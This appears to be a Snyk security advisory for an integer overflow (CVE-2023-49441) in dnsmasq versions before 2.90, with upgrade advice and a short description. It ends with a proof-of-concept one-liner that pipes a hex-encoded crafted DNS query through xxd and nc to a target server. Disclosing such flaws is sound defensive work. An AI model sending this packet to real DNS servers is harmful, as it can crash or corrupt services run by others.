Integer Overflow Affecting dnsmasq package, versions [,2.90)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-DNSMASQ-7231117
- published10 Jun 2024
- disclosed6 Jun 2024
- creditFeifan Wu
Introduced: 6 Jun 2024
CVE-2023-49441 (opens in a new tab)How to fix?
Upgrade dnsmasq to version 2.90 or higher.
Overview
Affected versions of this package are vulnerable to Integer Overflow via the forward_query process. An attacker can manipulate memory allocation and potentially cause a program crash or incorrect data processing by sending specially crafted queries.
PoC
echo -n 'c97b01000001000000000000047465737403636f6d0000020001' | xxd
-r -p | nc -u target_addr target_port